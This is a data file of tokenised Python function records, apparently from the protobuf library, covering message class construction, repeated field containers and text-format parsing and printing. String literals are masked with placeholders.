{"signature": "def _AddPrivateHelperMethods(message_descriptor, cls):", "body": "def Modified(self):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>if not self._cached_byte_size_dirty:<EOL><INDENT>self._cached_byte_size_dirty = True<EOL>self._listener_for_children.dirty = True<EOL>self._is_present_in_parent = True<EOL>self._listener.Modified()<EOL><DEDENT><DEDENT>def _UpdateOneofState(self, field):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>other_field = self._oneofs.setdefault(field.containing_oneof, field)<EOL>if other_field is not field:<EOL><INDENT>del self._fields[other_field]<EOL>self._oneofs[field.containing_oneof] = field<EOL><DEDENT><DEDENT>cls._Modified = Modified<EOL>cls.SetInParent = Modified<EOL>cls._UpdateOneofState = _UpdateOneofState<EOL>", "docstring": "Adds implementation of private helper methods to cls.", "id": "f8655:m44"}
{"signature": "def __new__(cls, name, bases, dictionary):", "body": "descriptor = dictionary[GeneratedProtocolMessageType._DESCRIPTOR_KEY]<EOL>if descriptor.full_name in well_known_types.WKTBASES:<EOL><INDENT>bases += (well_known_types.WKTBASES[descriptor.full_name],)<EOL><DEDENT>_AddClassAttributesForNestedExtensions(descriptor, dictionary)<EOL>_AddSlots(descriptor, dictionary)<EOL>superclass = super(GeneratedProtocolMessageType, cls)<EOL>new_class = superclass.__new__(cls, name, bases, dictionary)<EOL>return new_class<EOL>", "docstring": "Custom allocation for runtime-generated class types.\n\n        We override __new__ because this is apparently the only place\n        where we can meaningfully set __slots__ on the class we're creating(?).\n        (The interplay between metaclasses and slots is not very well-documented).\n\n        Args:\n          name: Name of the class (ignored, but required by the\n            metaclass protocol).\n          bases: Base classes of the class we're constructing.\n            (Should be message.Message).  We ignore this field, but\n            it's required by the metaclass protocol\n          dictionary: The class dictionary of the class we're\n            constructing.  dictionary[_DESCRIPTOR_KEY] must contain\n            a Descriptor object describing this protocol message\n            type.\n\n        Returns:\n          Newly-allocated class.", "id": "f8655:c0:m0"}
{"signature": "def __init__(cls, name, bases, dictionary):", "body": "descriptor = dictionary[GeneratedProtocolMessageType._DESCRIPTOR_KEY]<EOL>cls._decoders_by_tag = {}<EOL>cls._extensions_by_name = {}<EOL>cls._extensions_by_number = {}<EOL>if (descriptor.has_options and<EOL>descriptor.GetOptions().message_set_wire_format):<EOL><INDENT>cls._decoders_by_tag[decoder.MESSAGE_SET_ITEM_TAG] = (<EOL>decoder.MessageSetItemDecoder(cls._extensions_by_number), None)<EOL><DEDENT>for field in descriptor.fields:<EOL><INDENT>_AttachFieldHelpers(cls, field)<EOL><DEDENT>descriptor._concrete_class = cls  <EOL>_AddEnumValues(descriptor, cls)<EOL>_AddInitMethod(descriptor, cls)<EOL>_AddPropertiesForFields(descriptor, cls)<EOL>_AddPropertiesForExtensions(descriptor, cls)<EOL>_AddStaticMethods(cls)<EOL>_AddMessageMethods(descriptor, cls)<EOL>_AddPrivateHelperMethods(descriptor, cls)<EOL>copyreg.pickle(cls, lambda obj: (cls, (), obj.__getstate__()))<EOL>superclass = super(GeneratedProtocolMessageType, cls)<EOL>superclass.__init__(name, bases, dictionary)<EOL>", "docstring": "Here we perform the majority of our work on the class.\n        We add enum getters, an __init__ method, implementations\n        of all Message methods, and properties for all fields\n        in the protocol type.\n\n        Args:\n          name: Name of the class (ignored, but required by the\n            metaclass protocol).\n          bases: Base classes of the class we're constructing.\n            (Should be message.Message).  We ignore this field, but\n            it's required by the metaclass protocol\n          dictionary: The class dictionary of the class we're\n            constructing.  dictionary[_DESCRIPTOR_KEY] must contain\n            a Descriptor object describing this protocol message\n            type.", "id": "f8655:c0:m1"}
{"signature": "def __init__(self, parent_message):", "body": "<EOL>if isinstance(parent_message, weakref.ProxyType):<EOL><INDENT>self._parent_message_weakref = parent_message<EOL><DEDENT>else:<EOL><INDENT>self._parent_message_weakref = weakref.proxy(parent_message)<EOL><DEDENT>self.dirty = False<EOL>", "docstring": "Args:\n          parent_message: The message whose _Modified() method we should call when\n            we receive Modified() messages.", "id": "f8655:c1:m0"}
{"signature": "def __init__(self, parent_message, field):", "body": "super(_OneofListener, self).__init__(parent_message)<EOL>self._field = field<EOL>", "docstring": "Args:\n          parent_message: The message whose _Modified() method we should call when\n            we receive Modified() messages.\n          field: The descriptor of the field being set in the parent message.", "id": "f8655:c2:m0"}
{"signature": "def Modified(self):", "body": "try:<EOL><INDENT>self._parent_message_weakref._UpdateOneofState(self._field)<EOL>super(_OneofListener, self).Modified()<EOL><DEDENT>except ReferenceError:<EOL><INDENT>pass<EOL><DEDENT>", "docstring": "Also updates the state of the containing oneof in the parent message.", "id": "f8655:c2:m1"}
{"signature": "def __init__(self, extended_message):", "body": "self._extended_message = extended_message<EOL>", "docstring": "extended_message: Message instance for which we are the Extensions dict.", "id": "f8655:c3:m0"}
{"signature": "def __getitem__(self, extension_handle):", "body": "_VerifyExtensionHandle(self._extended_message, extension_handle)<EOL>result = self._extended_message._fields.get(extension_handle)<EOL>if result is not None:<EOL><INDENT>return result<EOL><DEDENT>if extension_handle.label == _FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>result = extension_handle._default_constructor(self._extended_message)<EOL><DEDENT>elif extension_handle.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>result = extension_handle.message_type._concrete_class()<EOL>try:<EOL><INDENT>result._SetListener(self._extended_message._listener_for_children)<EOL><DEDENT>except ReferenceError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return extension_handle.default_value<EOL><DEDENT>result = self._extended_message._fields.setdefault(<EOL>extension_handle, result)<EOL>return result<EOL>", "docstring": "Returns the current value of the given extension handle.", "id": "f8655:c3:m1"}
{"signature": "def __setitem__(self, extension_handle, value):", "body": "_VerifyExtensionHandle(self._extended_message, extension_handle)<EOL>if (extension_handle.label == _FieldDescriptor.LABEL_REPEATED or<EOL>extension_handle.cpp_type == _FieldDescriptor.CPPTYPE_MESSAGE):<EOL><INDENT>raise TypeError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>' % extension_handle.full_name)<EOL><DEDENT>type_checker = type_checkers.GetTypeChecker(extension_handle)<EOL>self._extended_message._fields[extension_handle] = (<EOL>type_checker.CheckValue(value))<EOL>self._extended_message._Modified()<EOL>", "docstring": "If extension_handle specifies a non-repeated, scalar extension\n        field, sets the value of that field.", "id": "f8655:c3:m5"}
{"signature": "def _FindExtensionByName(self, name):", "body": "return self._extended_message._extensions_by_name.get(name, None)<EOL>", "docstring": "Tries to find a known extension with the specified name.\n\n        Args:\n          name: Extension full name.\n\n        Returns:\n          Extension field descriptor.", "id": "f8655:c3:m6"}
{"signature": "def _FindExtensionByNumber(self, number):", "body": "return self._extended_message._extensions_by_number.get(number, None)<EOL>", "docstring": "Tries to find a known extension with the field number.\n\n        Args:\n          number: Extension field number.\n\n        Returns:\n          Extension field descriptor.", "id": "f8655:c3:m7"}
{"signature": "def __init__(self, message_listener):", "body": "self._message_listener = message_listener<EOL>self._values = []<EOL>", "docstring": "Args:\n  message_listener: A MessageListener implementation.\n    The RepeatedScalarFieldContainer will call this object's\n    Modified() method when it is modified.", "id": "f8656:c0:m0"}
{"signature": "def __getitem__(self, key):", "body": "return self._values[key]<EOL>", "docstring": "Retrieves item by the specified key.", "id": "f8656:c0:m1"}
{"signature": "def __len__(self):", "body": "return len(self._values)<EOL>", "docstring": "Returns the number of elements in the container.", "id": "f8656:c0:m2"}
{"signature": "def __ne__(self, other):", "body": "<EOL>return not self == other<EOL>", "docstring": "Checks if another instance isn't equal to this one.", "id": "f8656:c0:m3"}
{"signature": "def __init__(self, message_listener, type_checker):", "body": "super(RepeatedScalarFieldContainer, self).__init__(message_listener)<EOL>self._type_checker = type_checker<EOL>", "docstring": "Args:\n  message_listener: A MessageListener implementation.\n    The RepeatedScalarFieldContainer will call this object's\n    Modified() method when it is modified.\n  type_checker: A type_checkers.ValueChecker instance to run on elements\n    inserted into this container.", "id": "f8656:c1:m0"}
{"signature": "def append(self, value):", "body": "self._values.append(self._type_checker.CheckValue(value))<EOL>if not self._message_listener.dirty:<EOL><INDENT>self._message_listener.Modified()<EOL><DEDENT>", "docstring": "Appends an item to the list. Similar to list.append().", "id": "f8656:c1:m1"}
{"signature": "def insert(self, key, value):", "body": "self._values.insert(key, self._type_checker.CheckValue(value))<EOL>if not self._message_listener.dirty:<EOL><INDENT>self._message_listener.Modified()<EOL><DEDENT>", "docstring": "Inserts the item at the specified position. Similar to list.insert().", "id": "f8656:c1:m2"}
{"signature": "def extend(self, elem_seq):", "body": "if elem_seq is None:<EOL><INDENT>return<EOL><DEDENT>try:<EOL><INDENT>elem_seq_iter = iter(elem_seq)<EOL><DEDENT>except TypeError:<EOL><INDENT>if not elem_seq:<EOL><INDENT>return<EOL><DEDENT>raise<EOL><DEDENT>new_values = [self._type_checker.CheckValue(elem) for elem in elem_seq_iter]<EOL>if new_values:<EOL><INDENT>self._values.extend(new_values)<EOL>self._message_listener.Modified()<EOL><DEDENT>", "docstring": "Extends by appending the given iterable. Similar to list.extend().", "id": "f8656:c1:m3"}
{"signature": "def MergeFrom(self, other):", "body": "self._values.extend(other._values)<EOL>self._message_listener.Modified()<EOL>", "docstring": "Appends the contents of another repeated field of the same type to this\n        one. We do not check the types of the individual fields.", "id": "f8656:c1:m4"}
{"signature": "def remove(self, elem):", "body": "self._values.remove(elem)<EOL>self._message_listener.Modified()<EOL>", "docstring": "Removes an item from the list. Similar to list.remove().", "id": "f8656:c1:m5"}
{"signature": "def pop(self, key=-<NUM_LIT:1>):", "body": "value = self._values[key]<EOL>self.__delitem__(key)<EOL>return value<EOL>", "docstring": "Removes and returns an item at a given index. Similar to list.pop().", "id": "f8656:c1:m6"}
{"signature": "def __setitem__(self, key, value):", "body": "if isinstance(key, slice):  <EOL><INDENT>if key.step is not None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.__setslice__(key.start, key.stop, value)<EOL><DEDENT>else:<EOL><INDENT>self._values[key] = self._type_checker.CheckValue(value)<EOL>self._message_listener.Modified()<EOL><DEDENT>", "docstring": "Sets the item on the specified position.", "id": "f8656:c1:m7"}
{"signature": "def __getslice__(self, start, stop):", "body": "return self._values[start:stop]<EOL>", "docstring": "Retrieves the subset of items from between the specified indices.", "id": "f8656:c1:m8"}
{"signature": "def __setslice__(self, start, stop, values):", "body": "new_values = []<EOL>for value in values:<EOL><INDENT>new_values.append(self._type_checker.CheckValue(value))<EOL><DEDENT>self._values[start:stop] = new_values<EOL>self._message_listener.Modified()<EOL>", "docstring": "Sets the subset of items from between the specified indices.", "id": "f8656:c1:m9"}
{"signature": "def __delitem__(self, key):", "body": "del self._values[key]<EOL>self._message_listener.Modified()<EOL>", "docstring": "Deletes the item at the specified position.", "id": "f8656:c1:m10"}
{"signature": "def __delslice__(self, start, stop):", "body": "del self._values[start:stop]<EOL>self._message_listener.Modified()<EOL>", "docstring": "Deletes the subset of items from between the specified indices.", "id": "f8656:c1:m11"}
{"signature": "def __eq__(self, other):", "body": "if self is other:<EOL><INDENT>return True<EOL><DEDENT>if isinstance(other, self.__class__):<EOL><INDENT>return other._values == self._values<EOL><DEDENT>return other == self._values<EOL>", "docstring": "Compares the current instance with another one.", "id": "f8656:c1:m12"}
{"signature": "def __init__(self, message_listener, message_descriptor):", "body": "super(RepeatedCompositeFieldContainer, self).__init__(message_listener)<EOL>self._message_descriptor = message_descriptor<EOL>", "docstring": "Note that we pass in a descriptor instead of the generated directly,\nsince at the time we construct a _RepeatedCompositeFieldContainer we\nhaven't yet necessarily initialized the type that will be contained in the\ncontainer.\n\nArgs:\n  message_listener: A MessageListener implementation.\n    The RepeatedCompositeFieldContainer will call this object's\n    Modified() method when it is modified.\n  message_descriptor: A Descriptor instance describing the protocol type\n    that should be present in this container.  We'll use the\n    _concrete_class field of this descriptor when the client calls add().", "id": "f8656:c2:m0"}
{"signature": "def add(self, **kwargs):", "body": "new_element = self._message_descriptor._concrete_class(**kwargs)<EOL>new_element._SetListener(self._message_listener)<EOL>self._values.append(new_element)<EOL>if not self._message_listener.dirty:<EOL><INDENT>self._message_listener.Modified()<EOL><DEDENT>return new_element<EOL>", "docstring": "Adds a new element at the end of the list and returns it. Keyword\n        arguments may be used to initialize the element.", "id": "f8656:c2:m1"}
{"signature": "def extend(self, elem_seq):", "body": "message_class = self._message_descriptor._concrete_class<EOL>listener = self._message_listener<EOL>values = self._values<EOL>for message in elem_seq:<EOL><INDENT>new_element = message_class()<EOL>new_element._SetListener(listener)<EOL>new_element.MergeFrom(message)<EOL>values.append(new_element)<EOL><DEDENT>listener.Modified()<EOL>", "docstring": "Extends by appending the given sequence of elements of the same type\n        as this one, copying each individual message.", "id": "f8656:c2:m2"}
{"signature": "def MergeFrom(self, other):", "body": "self.extend(other._values)<EOL>", "docstring": "Appends the contents of another repeated field of the same type to this\n        one, copying each individual message.", "id": "f8656:c2:m3"}
{"signature": "def remove(self, elem):", "body": "self._values.remove(elem)<EOL>self._message_listener.Modified()<EOL>", "docstring": "Removes an item from the list. Similar to list.remove().", "id": "f8656:c2:m4"}
{"signature": "def pop(self, key=-<NUM_LIT:1>):", "body": "value = self._values[key]<EOL>self.__delitem__(key)<EOL>return value<EOL>", "docstring": "Removes and returns an item at a given index. Similar to list.pop().", "id": "f8656:c2:m5"}
{"signature": "def __getslice__(self, start, stop):", "body": "return self._values[start:stop]<EOL>", "docstring": "Retrieves the subset of items from between the specified indices.", "id": "f8656:c2:m6"}
{"signature": "def __delitem__(self, key):", "body": "del self._values[key]<EOL>self._message_listener.Modified()<EOL>", "docstring": "Deletes the item at the specified position.", "id": "f8656:c2:m7"}
{"signature": "def __delslice__(self, start, stop):", "body": "del self._values[start:stop]<EOL>self._message_listener.Modified()<EOL>", "docstring": "Deletes the subset of items from between the specified indices.", "id": "f8656:c2:m8"}
{"signature": "def __eq__(self, other):", "body": "if self is other:<EOL><INDENT>return True<EOL><DEDENT>if not isinstance(other, self.__class__):<EOL><INDENT>raise TypeError('<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>return self._values == other._values<EOL>", "docstring": "Compares the current instance with another one.", "id": "f8656:c2:m9"}
{"signature": "def __init__(self, message_listener, key_checker, value_checker):", "body": "self._message_listener = message_listener<EOL>self._key_checker = key_checker<EOL>self._value_checker = value_checker<EOL>self._values = {}<EOL>", "docstring": "Args:\n  message_listener: A MessageListener implementation.\n    The ScalarMap will call this object's Modified() method when it\n    is modified.\n  key_checker: A type_checkers.ValueChecker instance to run on keys\n    inserted into this container.\n  value_checker: A type_checkers.ValueChecker instance to run on values\n    inserted into this container.", "id": "f8656:c3:m0"}
{"signature": "def __init__(self, message_listener, message_descriptor, key_checker):", "body": "self._message_listener = message_listener<EOL>self._message_descriptor = message_descriptor<EOL>self._key_checker = key_checker<EOL>self._values = {}<EOL>", "docstring": "Args:\n  message_listener: A MessageListener implementation.\n    The ScalarMap will call this object's Modified() method when it\n    is modified.\n  key_checker: A type_checkers.ValueChecker instance to run on keys\n    inserted into this container.\n  value_checker: A type_checkers.ValueChecker instance to run on values\n    inserted into this container.", "id": "f8656:c4:m0"}
{"signature": "def get_or_create(self, key):", "body": "return self[key]<EOL>", "docstring": "get_or_create() is an alias for getitem (ie. map[key]).\n\n        Args:\n          key: The key to get or create in the map.\n\n        This is useful in cases where you want to be explicit that the call is\n        mutating the map.  This can avoid lint errors for statements like this\n        that otherwise would appear to be pointless statements:\n\n          msg.my_map[key]", "id": "f8656:c4:m2"}
{"signature": "def MessageToString(message, as_utf8=False, as_one_line=False,<EOL>pointy_brackets=False, use_index_order=False,<EOL>float_format=None, use_field_number=False):", "body": "out = TextWriter(as_utf8)<EOL>printer = _Printer(out, <NUM_LIT:0>, as_utf8, as_one_line,<EOL>pointy_brackets, use_index_order, float_format,<EOL>use_field_number)<EOL>printer.PrintMessage(message)<EOL>result = out.getvalue()<EOL>out.close()<EOL>if as_one_line:<EOL><INDENT>return result.rstrip()<EOL><DEDENT>return result<EOL>", "docstring": "Convert protobuf message to text format.\n\n    Floating point values can be formatted compactly with 15 digits of\n    precision (which is the most that IEEE 754 \"double\" can guarantee)\n    using float_format='.15g'. To ensure that converting to text and back to a\n    proto will result in an identical value, float_format='.17g' should be used.\n\n    Args:\n      message: The protocol buffers message.\n      as_utf8: Produce text output in UTF8 format.\n      as_one_line: Don't introduce newlines between fields.\n      pointy_brackets: If True, use angle brackets instead of curly braces for\n        nesting.\n      use_index_order: If True, print fields of a proto message using the order\n        defined in source code instead of the field number. By default, use the\n        field number order.\n      float_format: If set, use this to specify floating point number formatting\n        (per the \"Format Specification Mini-Language\"); otherwise, str() is used.\n      use_field_number: If True, print field numbers instead of names.\n\n    Returns:\n      A string of the text formatted protocol buffer message.", "id": "f8657:m0"}
{"signature": "def PrintField(field, value, out, indent=<NUM_LIT:0>, as_utf8=False, as_one_line=False,<EOL>pointy_brackets=False, use_index_order=False, float_format=None):", "body": "printer = _Printer(out, indent, as_utf8, as_one_line,<EOL>pointy_brackets, use_index_order, float_format)<EOL>printer.PrintField(field, value)<EOL>", "docstring": "Print a single field name/value pair.", "id": "f8657:m3"}
{"signature": "def PrintFieldValue(field, value, out, indent=<NUM_LIT:0>, as_utf8=False,<EOL>as_one_line=False, pointy_brackets=False,<EOL>use_index_order=False,<EOL>float_format=None):", "body": "printer = _Printer(out, indent, as_utf8, as_one_line,<EOL>pointy_brackets, use_index_order, float_format)<EOL>printer.PrintFieldValue(field, value)<EOL>", "docstring": "Print a single field value (not including name).", "id": "f8657:m4"}
{"signature": "def Parse(text, message,<EOL>allow_unknown_extension=False, allow_field_number=False):", "body": "if not isinstance(text, str):<EOL><INDENT>text = text.decode('<STR_LIT:utf-8>')<EOL><DEDENT>return ParseLines(text.split('<STR_LIT:\\n>'), message, allow_unknown_extension,<EOL>allow_field_number)<EOL>", "docstring": "Parses an text representation of a protocol message into a message.\n\n    Args:\n      text: Message text representation.\n      message: A protocol buffer message to merge into.\n      allow_unknown_extension: if True, skip over missing extensions and keep\n        parsing\n      allow_field_number: if True, both field number and field name are allowed.\n\n    Returns:\n      The same message passed as argument.\n\n    Raises:\n      ParseError: On text parsing problems.", "id": "f8657:m5"}
{"signature": "def Merge(text, message, allow_unknown_extension=False,<EOL>allow_field_number=False):", "body": "return MergeLines(text.split('<STR_LIT:\\n>'), message, allow_unknown_extension,<EOL>allow_field_number)<EOL>", "docstring": "Parses an text representation of a protocol message into a message.\n\n    Like Parse(), but allows repeated values for a non-repeated field, and uses\n    the last one.\n\n    Args:\n      text: Message text representation.\n      message: A protocol buffer message to merge into.\n      allow_unknown_extension: if True, skip over missing extensions and keep\n        parsing\n      allow_field_number: if True, both field number and field name are allowed.\n\n    Returns:\n      The same message passed as argument.\n\n    Raises:\n      ParseError: On text parsing problems.", "id": "f8657:m6"}
{"signature": "def ParseLines(lines, message, allow_unknown_extension=False,<EOL>allow_field_number=False):", "body": "parser = _Parser(allow_unknown_extension, allow_field_number)<EOL>return parser.ParseLines(lines, message)<EOL>", "docstring": "Parses an text representation of a protocol message into a message.\n\n    Args:\n      lines: An iterable of lines of a message's text representation.\n      message: A protocol buffer message to merge into.\n      allow_unknown_extension: if True, skip over missing extensions and keep\n        parsing\n      allow_field_number: if True, both field number and field name are allowed.\n\n    Returns:\n      The same message passed as argument.\n\n    Raises:\n      ParseError: On text parsing problems.", "id": "f8657:m7"}
{"signature": "def MergeLines(lines, message, allow_unknown_extension=False,<EOL>allow_field_number=False):", "body": "parser = _Parser(allow_unknown_extension, allow_field_number)<EOL>return parser.MergeLines(lines, message)<EOL>", "docstring": "Parses an text representation of a protocol message into a message.\n\n    Args:\n      lines: An iterable of lines of a message's text representation.\n      message: A protocol buffer message to merge into.\n      allow_unknown_extension: if True, skip over missing extensions and keep\n        parsing\n      allow_field_number: if True, both field number and field name are allowed.\n\n    Returns:\n      The same message passed as argument.\n\n    Raises:\n      ParseError: On text parsing problems.", "id": "f8657:m8"}
{"signature": "def _SkipFieldContents(tokenizer):", "body": "<EOL>if tokenizer.TryConsume('<STR_LIT::>') and not tokenizer.LookingAt(<EOL>'<STR_LIT:{>') and not tokenizer.LookingAt('<STR_LIT:<>'):<EOL><INDENT>_SkipFieldValue(tokenizer)<EOL><DEDENT>else:<EOL><INDENT>_SkipFieldMessage(tokenizer)<EOL><DEDENT>", "docstring": "Skips over contents (value or message) of a field.\n\n    Args:\n      tokenizer: A tokenizer to parse the field name and values.", "id": "f8657:m9"}
{"signature": "def _SkipField(tokenizer):", "body": "if tokenizer.TryConsume('<STR_LIT:[>'):<EOL><INDENT>tokenizer.ConsumeIdentifier()<EOL>while tokenizer.TryConsume('<STR_LIT:.>'):<EOL><INDENT>tokenizer.ConsumeIdentifier()<EOL><DEDENT>tokenizer.Consume('<STR_LIT:]>')<EOL><DEDENT>else:<EOL><INDENT>tokenizer.ConsumeIdentifier()<EOL><DEDENT>_SkipFieldContents(tokenizer)<EOL>if not tokenizer.TryConsume('<STR_LIT:U+002C>'):<EOL><INDENT>tokenizer.TryConsume('<STR_LIT:;>')<EOL><DEDENT>", "docstring": "Skips over a complete field (name and value/message).\n\n    Args:\n      tokenizer: A tokenizer to parse the field name and values.", "id": "f8657:m10"}
{"signature": "def _SkipFieldMessage(tokenizer):", "body": "if tokenizer.TryConsume('<STR_LIT:<>'):<EOL><INDENT>delimiter = '<STR_LIT:>>'<EOL><DEDENT>else:<EOL><INDENT>tokenizer.Consume('<STR_LIT:{>')<EOL>delimiter = '<STR_LIT:}>'<EOL><DEDENT>while not tokenizer.LookingAt('<STR_LIT:>>') and not tokenizer.LookingAt('<STR_LIT:}>'):<EOL><INDENT>_SkipField(tokenizer)<EOL><DEDENT>tokenizer.Consume(delimiter)<EOL>", "docstring": "Skips over a field message.\n\n    Args:\n      tokenizer: A tokenizer to parse the field name and values.", "id": "f8657:m11"}
{"signature": "def _SkipFieldValue(tokenizer):", "body": "<EOL>if tokenizer.TryConsumeByteString():<EOL><INDENT>while tokenizer.TryConsumeByteString():<EOL><INDENT>pass<EOL><DEDENT>return<EOL><DEDENT>if (not tokenizer.TryConsumeIdentifier() and<EOL>not tokenizer.TryConsumeInt64() and<EOL>not tokenizer.TryConsumeUint64() and<EOL>not tokenizer.TryConsumeFloat()):<EOL><INDENT>raise ParseError('<STR_LIT>' + tokenizer.token)<EOL><DEDENT>", "docstring": "Skips over a field value.\n\n    Args:\n      tokenizer: A tokenizer to parse the field name and values.\n\n    Raises:\n      ParseError: In case an invalid field value is found.", "id": "f8657:m12"}
{"signature": "def ParseInteger(text, is_signed=False, is_long=False):", "body": "<EOL>try:<EOL><INDENT>if is_long:<EOL><INDENT>result = long(text, <NUM_LIT:0>)<EOL><DEDENT>else:<EOL><INDENT>result = int(text, <NUM_LIT:0>)<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>raise ValueError('<STR_LIT>' % text)<EOL><DEDENT>checker = _INTEGER_CHECKERS[<NUM_LIT:2> * int(is_long) + int(is_signed)]<EOL>checker.CheckValue(result)<EOL>return result<EOL>", "docstring": "Parses an integer.\n\n    Args:\n      text: The text to parse.\n      is_signed: True if a signed integer must be parsed.\n      is_long: True if a long integer must be parsed.\n\n    Returns:\n      The integer value.\n\n    Raises:\n      ValueError: Thrown Iff the text is not a valid integer.", "id": "f8657:m13"}
{"signature": "def ParseFloat(text):", "body": "try:<EOL><INDENT>return float(text)<EOL><DEDENT>except ValueError:<EOL><INDENT>if _FLOAT_INFINITY.match(text):<EOL><INDENT>if text[<NUM_LIT:0>] == '<STR_LIT:->':<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT><DEDENT>elif _FLOAT_NAN.match(text):<EOL><INDENT>return float('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>return float(text.rstrip('<STR_LIT:f>'))<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError('<STR_LIT>' % text)<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Parse a floating point number.\n\n    Args:\n      text: Text to parse.\n\n    Returns:\n      The number parsed.\n\n    Raises:\n      ValueError: If a floating point number couldn't be parsed.", "id": "f8657:m14"}
{"signature": "def ParseBool(text):", "body": "if text in ('<STR_LIT:true>', '<STR_LIT:t>', '<STR_LIT:1>'):<EOL><INDENT>return True<EOL><DEDENT>elif text in ('<STR_LIT:false>', '<STR_LIT:f>', '<STR_LIT:0>'):<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Parse a boolean value.\n\n    Args:\n      text: Text to parse.\n\n    Returns:\n      Boolean values parsed\n\n    Raises:\n      ValueError: If text is not a valid boolean.", "id": "f8657:m15"}
{"signature": "def ParseEnum(field, value):", "body": "enum_descriptor = field.enum_type<EOL>try:<EOL><INDENT>number = int(value, <NUM_LIT:0>)<EOL><DEDENT>except ValueError:<EOL><INDENT>enum_value = enum_descriptor.values_by_name.get(value, None)<EOL>if enum_value is None:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % (<EOL>enum_descriptor.full_name, value))<EOL><DEDENT><DEDENT>else:<EOL><INDENT>enum_value = enum_descriptor.values_by_number.get(number, None)<EOL>if enum_value is None:<EOL><INDENT>raise ValueError(<EOL>'<STR_LIT>' % (<EOL>enum_descriptor.full_name, number))<EOL><DEDENT><DEDENT>return enum_value.number<EOL>", "docstring": "Parse an enum value.\n\n    The value can be specified by a number (the enum value), or by\n    a string literal (the enum name).\n\n    Args:\n      field: Enum field descriptor.\n      value: String value.\n\n    Returns:\n      Enum value number.\n\n    Raises:\n      ValueError: If the enum value could not be parsed.", "id": "f8657:m16"}
{"signature": "def __init__(self, out, indent=<NUM_LIT:0>, as_utf8=False, as_one_line=False,<EOL>pointy_brackets=False, use_index_order=False, float_format=None,<EOL>use_field_number=False):", "body": "self.out = out<EOL>self.indent = indent<EOL>self.as_utf8 = as_utf8<EOL>self.as_one_line = as_one_line<EOL>self.pointy_brackets = pointy_brackets<EOL>self.use_index_order = use_index_order<EOL>self.float_format = float_format<EOL>self.use_field_number = use_field_number<EOL>", "docstring": "Initialize the Printer.\n\n        Floating point values can be formatted compactly with 15 digits of\n        precision (which is the most that IEEE 754 \"double\" can guarantee)\n        using float_format='.15g'. To ensure that converting to text and back to a\n        proto will result in an identical value, float_format='.17g' should be used.\n\n        Args:\n          out: To record the text format result.\n          indent: The indent level for pretty print.\n          as_utf8: Produce text output in UTF8 format.\n          as_one_line: Don't introduce newlines between fields.\n          pointy_brackets: If True, use angle brackets instead of curly braces for\n            nesting.\n          use_index_order: If True, print fields of a proto message using the order\n            defined in source code instead of the field number. By default, use the\n            field number order.\n          float_format: If set, use this to specify floating point number formatting\n            (per the \"Format Specification Mini-Language\"); otherwise, str() is\n            used.\n          use_field_number: If True, print field numbers instead of names.", "id": "f8657:c3:m0"}
{"signature": "def PrintMessage(self, message):", "body": "fields = message.ListFields()<EOL>if self.use_index_order:<EOL><INDENT>fields.sort(key=lambda x: x[<NUM_LIT:0>].index)<EOL><DEDENT>for field, value in fields:<EOL><INDENT>if _IsMapEntry(field):<EOL><INDENT>for key in sorted(value):<EOL><INDENT>entry_submsg = field.message_type._concrete_class(<EOL>key=key, value=value[key])<EOL>self.PrintField(field, entry_submsg)<EOL><DEDENT><DEDENT>elif field.label == descriptor.FieldDescriptor.LABEL_REPEATED:<EOL><INDENT>for element in value:<EOL><INDENT>self.PrintField(field, element)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.PrintField(field, value)<EOL><DEDENT><DEDENT>", "docstring": "Convert protobuf message to text format.\n\n        Args:\n          message: The protocol buffers message.", "id": "f8657:c3:m1"}
{"signature": "def PrintField(self, field, value):", "body": "out = self.out<EOL>out.write('<STR_LIT:U+0020>' * self.indent)<EOL>if self.use_field_number:<EOL><INDENT>out.write(str(field.number))<EOL><DEDENT>else:<EOL><INDENT>if field.is_extension:<EOL><INDENT>out.write('<STR_LIT:[>')<EOL>if (field.containing_type.GetOptions().message_set_wire_format and<EOL>field.type == descriptor.FieldDescriptor.TYPE_MESSAGE and<EOL>field.label == descriptor.FieldDescriptor.LABEL_OPTIONAL):<EOL><INDENT>out.write(field.message_type.full_name)<EOL><DEDENT>else:<EOL><INDENT>out.write(field.full_name)<EOL><DEDENT>out.write('<STR_LIT:]>')<EOL><DEDENT>elif field.type == descriptor.FieldDescriptor.TYPE_GROUP:<EOL><INDENT>out.write(field.message_type.name)<EOL><DEDENT>else:<EOL><INDENT>out.write(field.name)<EOL><DEDENT><DEDENT>if field.cpp_type != descriptor.FieldDescriptor.CPPTYPE_MESSAGE:<EOL><INDENT>out.write('<STR_LIT>')<EOL><DEDENT>self.PrintFieldValue(field, value)<EOL>if self.as_one_line:<EOL><INDENT>out.write('<STR_LIT:U+0020>')<EOL><DEDENT>else:<EOL><INDENT>out.write('<STR_LIT:\\n>')<EOL><DEDENT>", "docstring": "Print a single field name/value pair.", "id": "f8657:c3:m2"}
